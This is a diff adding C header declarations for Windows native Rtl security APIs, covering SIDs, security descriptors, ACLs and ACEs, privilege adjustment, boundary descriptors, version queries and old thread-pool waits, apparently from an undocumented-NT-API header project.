+#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSidEx( + _Out_writes_bytes_(SECURITY_SID_SIZE(SubAuthorityCount)) PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + ... +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid( + _In_ PSID Sid +); + +NTSYSAPI +PULONG +NTAPI +RtlSubAuthoritySid( + _In_ PSID Sid, + _In_ ULONG SubAuthority +); + +NTSYSAPI +PUCHAR +NTAPI +RtlSubAuthorityCountSid( + _In_ PSID Sid +); + +NTSYSAPI +_Post_satisfies_(return >= 8 && return <= SECURITY_MAX_SID_SIZE) +ULONG +NTAPI +RtlLengthSid( + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySid( + _In_ ULONG DestinationSidLength, + _Out_writes_bytes_(DestinationSidLength) PSID DestinationSid, + _In_ PSID SourceSid +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateServiceSid( + _In_ PUNICODE_STRING ServiceName, + _Out_writes_bytes_opt_(*ServiceSidLength) PSID ServiceSid, + _Inout_ PULONG ServiceSidLength +); +#endif + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray( + _In_ ULONG Count, + _In_ PSID_AND_ATTRIBUTES Src, + _In_ ULONG SidAreaSize, + _In_ PSID_AND_ATTRIBUTES Dest, + _In_ PSID SidArea, + _Out_ PSID* RemainingSidArea, + _Out_ PULONG RemainingSidAreaSize +); + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidDominates( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN Dominates +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSidDominatesForTrust( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN DominatesTrust // TokenProcessTrustLevel +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidEqualLevel( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN EqualLevel +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidIsHigherLevel( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN HigherLevel +); +#endif + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlReplaceSidInSd( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ PSID OldSid, + _In_ PSID NewSid, + _Out_ ULONG * NumChanges +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateVirtualAccountSid( + _In_ PCUNICODE_STRING Name, + _In_ ULONG BaseSubAuthority, + _Out_writes_bytes_(*SidLength) PSID Sid, + _Inout_ PULONG SidLength +); +#endif + +// +// MAX_UNICODE_STACK_BUFFER_LENGTH is the maximum stack buffer +// that RtlConvertSidToUnicodeString can fill if the caller +// specifies AllocateDestinationString = FALSE. +// + +#ifndef _KERNEL_MODE +#define MAX_UNICODE_STACK_BUFFER_LENGTH 256 +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + _Inout_ PUNICODE_STRING UnicodeString, + _In_ PSID Sid, + _In_ BOOLEAN AllocateDestinationString +); + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + _In_ PSID Sid, + _Out_ PULONG StringLength +); +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidHashInitialize( + _In_reads_(SidCount) PSID_AND_ATTRIBUTES SidAttr, + _In_ ULONG SidCount, + _Out_ PSID_AND_ATTRIBUTES_HASH SidAttrHash +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +PSID_AND_ATTRIBUTES +NTAPI +RtlSidHashLookup( + _In_ PSID_AND_ATTRIBUTES_HASH SidAttrHash, + _In_ PSID Sid +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsElevatedRid( + _In_ PSID_AND_ATTRIBUTES SidAttr +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDeriveCapabilitySidsFromName( + _Inout_ PUNICODE_STRING UnicodeString, + _Out_ PSID CapabilityGroupSid, + _Out_ PSID CapabilitySid +); +#endif + +// +// Security Descriptors +// + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Revision +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +ULONG +NTAPI +RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + _In_reads_bytes_(SecurityDescriptorLength) PSECURITY_DESCRIPTOR SecurityDescriptorInput, + _In_ ULONG SecurityDescriptorLength, + _In_ SECURITY_INFORMATION RequiredInformation +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR_CONTROL Control, + _Out_ PULONG Revision +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL Control, + _Out_ PULONG Revision +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PUCHAR RMControl +); + +NTSYSAPI +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PUCHAR RMControl +); + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN DaclPresent, + _In_opt_ PACL Dacl, + _In_ BOOLEAN DaclDefaulted +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Outptr_result_maybenull_ PACL* Dacl, + _Pre_ _Writable_elements_(1) + _When_(!(*DaclPresent), _Post_invalid_) + _When_((*DaclPresent), _Post_valid_) + PBOOLEAN DaclDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN SaclPresent, + _In_opt_ PACL Sacl, + _In_opt_ BOOLEAN SaclDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL* Sacl, + _Out_ PBOOLEAN SaclDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Owner, + _In_ BOOLEAN OwnerDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Outptr_result_maybenull_ PSID* Owner, + _When_(*Owner == NULL, _Post_invalid_) + _When_(*Owner != NULL, _Post_valid_) + _Pre_ _Notnull_ _Pre_ _Writable_elements_(1) PBOOLEAN OwnerDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Group, + _In_ BOOLEAN GroupDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Outptr_result_maybenull_ PSID* Group, + _Pre_ _Notnull_ _Pre_ _Writable_elements_(1) + _When_(*Group == NULL, _Post_invalid_) + _When_(*Group != NULL, _Post_valid_) + PBOOLEAN GroupDefaulted +); + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_writes_bytes_(*BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Inout_ PULONG BufferLength +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD( + _In_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Out_writes_bytes_to_opt_(*AbsoluteSecurityDescriptorSize, *AbsoluteSecurityDescriptorSize) PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Inout_ PULONG AbsoluteSecurityDescriptorSize, + _Out_writes_bytes_to_opt_(*DaclSize, *DaclSize) PACL Dacl, + _Inout_ PULONG DaclSize, + _Out_writes_bytes_to_opt_(*SaclSize, *SaclSize) PACL Sacl, + _Inout_ PULONG SaclSize, + _Out_writes_bytes_to_opt_(*OwnerSize, *OwnerSize) PSID Owner, + _Inout_ PULONG OwnerSize, + _Out_writes_bytes_to_opt_(*PrimaryGroupSize, *PrimaryGroupSize) PSID PrimaryGroup, + _Inout_ PULONG PrimaryGroupSize +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2( + _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + _Inout_ PULONG pBufferSize +); + +// +// Access masks +// + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlMapGenericMask( + _Inout_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping +); + +// +// ACLs +// + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + _Out_writes_bytes_(AclLength) PACL Acl, + _In_ ULONG AclLength, + _In_ ULONG AclRevision +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG StartingAceIndex, + _In_reads_bytes_(AceListLength) PVOID AceList, + _In_ ULONG AceListLength +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAce( + _Inout_ PACL Acl, + _In_ ULONG AceIndex +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAce( + _In_ PACL Acl, + _In_ ULONG AceIndex, + _Outptr_ PVOID* Ace +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidAcl( + _In_ PACL Acl +); + +#ifdef _KERNEL_MODE + +// +// Currently define Flags for "OBJECT" ACE types. +// + +#define ACE_OBJECT_TYPE_PRESENT 0x1 +#define ACE_INHERITED_OBJECT_TYPE_PRESENT 0x2 + + +// +// The following declarations are used for setting and querying information +// about and ACL. First are the various information classes available to +// the user. +// + +typedef enum _ACL_INFORMATION_CLASS { + AclRevisionInformation = 1, + AclSizeInformation +} ACL_INFORMATION_CLASS; + +// +// This record is returned/sent if the user is requesting/setting the +// AclRevisionInformation +// + +typedef struct _ACL_REVISION_INFORMATION { + UINT32 AclRevision; +} ACL_REVISION_INFORMATION; +typedef ACL_REVISION_INFORMATION* PACL_REVISION_INFORMATION; + +// +// This record is returned if the user is requesting AclSizeInformation +// + +typedef struct _ACL_SIZE_INFORMATION { + UINT32 AceCount; + UINT32 AclBytesInUse; + UINT32 AclBytesFree; +} ACL_SIZE_INFORMATION; +typedef ACL_SIZE_INFORMATION* PACL_SIZE_INFORMATION; + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryInformationAcl( + _In_ PACL Acl, + _Out_writes_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetInformationAcl( + _Inout_ PACL Acl, + _In_reads_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +RtlFirstFreeAce( + _In_ PACL Acl, + _Out_ PVOID* FirstFree +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +PVOID +NTAPI +RtlFindAceByType( + _In_ PACL pAcl, + _In_ UCHAR AceType, + _Out_opt_ PULONG pIndex +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +RtlOwnerAcesPresent( + _In_ PACL pAcl +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddCompoundAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask, + _In_ PSID ServerSid, + _In_ PSID ClientSid +); +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddMandatoryAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ PSID Sid, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddResourceAttributeAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ULONG AccessMask, + _In_ PSID Sid, + _In_ PCLAIM_SECURITY_ATTRIBUTES_INFORMATION AttributeInfo, + _Out_ PULONG ReturnLength +); +#endif //NTDDI_VERSION >= NTDDI_WIN8 + +#ifndef _KERNEL_MODE +#if (NTDDI_VERSION >= NTDDI_WIN8) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddScopedPolicyIDAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ULONG AccessMask, + _In_ PSID Sid +); +#endif //NTDDI_VERSION >= NTDDI_WIN8 + +// Named pipes + +NTSYSAPI +NTSTATUS +NTAPI +RtlDefaultNpAcl( + _Out_ PACL* Acl +); +#endif // !_KERNEL_MODE + +// +// Security objects +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObject( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_ BOOLEAN IsDirectoryObject, + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObjectEx( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_opt_ GUID* ObjectType, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_opt_ GUID** ObjectType, + _In_ ULONG GuidCount, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + _Inout_ PSECURITY_DESCRIPTOR* ObjectDescriptor +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQuerySecurityObject( + _In_ PSECURITY_DESCRIPTOR ObjectDescriptor, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_opt_ PSECURITY_DESCRIPTOR ResultantDescriptor, + _In_ ULONG DescriptorLength, + _Out_ PULONG ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSecurityObject( + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR ModificationDescriptor, + _Inout_ PSECURITY_DESCRIPTOR* ObjectsSecurityDescriptor, + _In_ PGENERIC_MAPPING GenericMapping, + _In_opt_ HANDLE Token +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR ModificationDescriptor, + _Inout_ PSECURITY_DESCRIPTOR* ObjectsSecurityDescriptor, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_ PGENERIC_MAPPING GenericMapping, + _In_opt_ HANDLE Token +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertToAutoInheritSecurityObject( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_ PSECURITY_DESCRIPTOR CurrentSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewSecurityDescriptor, + _In_opt_ GUID* ObjectType, + _In_ BOOLEAN IsDirectoryObject, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewInstanceSecurityObject( + _In_ BOOLEAN ParentDescriptorChanged, + _In_ BOOLEAN CreatorDescriptorChanged, + _In_ PLUID OldClientTokenModifiedId, + _Out_ PLUID NewClientTokenModifiedId, + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_ BOOLEAN IsDirectoryObject, + _In_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR InputSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR* OutputSecurityDescriptor +); + +#endif // !_KERNEL_MODE + +// +// Misc. security +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlRunEncodeUnicodeString( + _Inout_ PUCHAR Seed, + _In_ PUNICODE_STRING String +); + +NTSYSAPI +VOID +NTAPI +RtlRunDecodeUnicodeString( + _In_ UCHAR Seed, + _In_ PUNICODE_STRING String +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlImpersonateSelf( + _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlImpersonateSelfEx( + _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, + _In_opt_ ACCESS_MASK AdditionalAccess, + _Out_opt_ PHANDLE ThreadToken +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAdjustPrivilege( + _In_ ULONG Privilege, + _In_ BOOLEAN Enable, + _In_ BOOLEAN Client, + _Out_ PBOOLEAN WasEnabled +); + +#define RTL_ACQUIRE_PRIVILEGE_REVERT 0x00000001 +#define RTL_ACQUIRE_PRIVILEGE_PROCESS 0x00000002 + +NTSYSAPI +NTSTATUS +NTAPI +RtlAcquirePrivilege( + _In_ PULONG Privilege, + _In_ ULONG NumPriv, + _In_ ULONG Flags, + _Out_ PVOID* ReturnedState +); + +NTSYSAPI +VOID +NTAPI +RtlReleasePrivilege( + _In_ PVOID StatePointer +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlRemovePrivileges( + _In_ HANDLE TokenHandle, + _In_ PULONG PrivilegesToKeep, + _In_ ULONG PrivilegeCount +); +#endif + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN8) + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsUntrustedObject( + _In_opt_ HANDLE Handle, + _In_opt_ PVOID Object, + _Out_ PBOOLEAN UntrustedObject +); + +NTSYSAPI +ULONG +NTAPI +RtlQueryValidationRunlevel( + _In_opt_ PCUNICODE_STRING ComponentName +); +#endif + +// +// Private namespaces +// + +#ifndef _KERNEL_MODE + +// begin_private +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +HANDLE +NTAPI +RtlCreateBoundaryDescriptor( + _In_ PUNICODE_STRING Name, + _In_ ULONG Flags +); + +NTSYSAPI +VOID +NTAPI +RtlDeleteBoundaryDescriptor( + _In_ HANDLE BoundaryDescriptor +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddSIDToBoundaryDescriptor( + _Inout_ PHANDLE BoundaryDescriptor, + _In_ PSID RequiredSid +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlAddIntegrityLabelToBoundaryDescriptor( + _Inout_ PHANDLE BoundaryDescriptor, + _In_ PSID IntegrityLabel +); +#endif +// end_private + +#endif // !_KERNEL_MODE + +// +// Version +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetVersion( + _Out_ + _At_(lpVersionInformation->dwOSVersionInfoSize, _Pre_ _Valid_) + _When_(lpVersionInformation->dwOSVersionInfoSize == sizeof(RTL_OSVERSIONINFOEXW), + _At_((PRTL_OSVERSIONINFOEXW)lpVersionInformation, _Out_)) + PRTL_OSVERSIONINFOW lpVersionInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlVerifyVersionInfo( + _In_ PRTL_OSVERSIONINFOEXW VersionInfo, + _In_ ULONG TypeMask, + _In_ ULONGLONG ConditionMask +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +VOID +NTAPI +RtlGetNtVersionNumbers( + _Out_opt_ PULONG NtMajorVersion, + _Out_opt_ PULONG NtMinorVersion, + _Out_opt_ PULONG NtBuildNumber +); +#endif // !_KERNEL_MODE + +// +// System information +// + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetNtProductType( + _Out_ PNT_PRODUCT_TYPE NtProductType +); + +NTSYSAPI +ULONG +NTAPI +RtlGetSuiteMask( + VOID +); +#endif + +// +// Thread pool (old) +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterWait( + _Out_ PHANDLE WaitHandle, + _In_ HANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Milliseconds, + _In_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterWait( + _In_ HANDLE WaitHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + _In_ HANDLE WaitHandle, + _In_opt_ HANDLE Event // optional: RTL_WAITER_DEREGISTER_WAIT_FOR_COMPLETION +); + 